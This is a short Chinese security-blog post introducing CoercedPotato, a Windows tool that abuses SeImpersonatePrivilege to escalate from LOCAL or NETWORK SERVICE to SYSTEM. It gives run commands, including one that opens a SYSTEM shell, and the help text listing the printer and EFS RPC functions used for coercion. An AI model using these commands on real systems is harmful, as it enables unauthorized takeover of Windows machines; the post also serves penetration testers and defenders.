CoercedPotato！新土豆提权工具

ivi

hackvens 潇湘信安 2023-12-07 05:30 发表于湖南

工具简介

通过在Windows 10、Windows 11和Server 2022上滥用SeImpersonatePrivilege特权可以从LOCAL/NETWORK SERVICE提升为SYSTEM。


工具使用

1. 非常快速POC：
   
2. .\CoercedPotato.exe -c whoami
   
3. 
   
4. 交互式shell的PoC：
   
5. .\CoercedPotato.exe -c cmd.exe

复制代码

可以使用--help选项检查帮助消息。

1. CoercedPotato is an automated tool for privilege escalation exploit using SeImpersonatePrivilege or SeImpersonatePrimaryToken.
   
2. Usage: .\CoercedPotato.exe [OPTIONS]
   
3. 
   
4. Options:
   
5.   -h,--help                   Print this help message and exit
   
6.   -c,--command TEXT REQUIRED  Program to execute as SYSTEM (i.e. cmd.exe)
   
7.   -i,--interface TEXT         Optionnal interface to use (default : ALL) (Possible values : ms-rprn, ms-efsr
   
8.   -n,--exploitId INT          Optionnal exploit ID (Only usuable if interface is defined)
   
9.                                -> ms-rprn :
   
10.                                  [0] RpcRemoteFindFirstPrinterChangeNotificationEx()
    
11.                                  [1] RpcRemoteFindFirstPrinterChangeNotification()
    
12.                                -> ms-efsr
    
13.                                  [0] EfsRpcOpenFileRaw()
    
14.                                  [1] EfsRpcEncryptFileSrv()
    
15.                                  [2] EfsRpcDecryptFileSrv()
    
16.                                  [3] EfsRpcQueryUsersOnFile()
    
17.                                  [4] EfsRpcQueryRecoveryAgents()
    
18.                                  [5] EfsRpcRemoveUsersFromFile()
    
19.                                  [6] EfsRpcAddUsersToFile()
    
20.                                  [7] EfsRpcFileKeyInfo() # NOT WORKING
    
21.                                  [8] EfsRpcDuplicateEncryptionInfoFile()
    
22.                                  [9] EfsRpcAddUsersToFileEx()
    
23.                                  [10] EfsRpcFileKeyInfoEx() # NOT WORKING
    
24.                                  [11] EfsRpcGetEncryptedFileMetadata()
    
25.                                  [12] EfsRpcEncryptFileExSrv()
    
26.                                  [13] EfsRpcQueryProtectors()
    
27.                               
    
28.   -f,--force BOOLEAN          Force all RPC functions even if it says 'Exploit worked!' (Default value : false)
    
29.   --interactive BOOLEAN       Set wether the process should be run within the same shell or open a new window. (Default value : true)

复制代码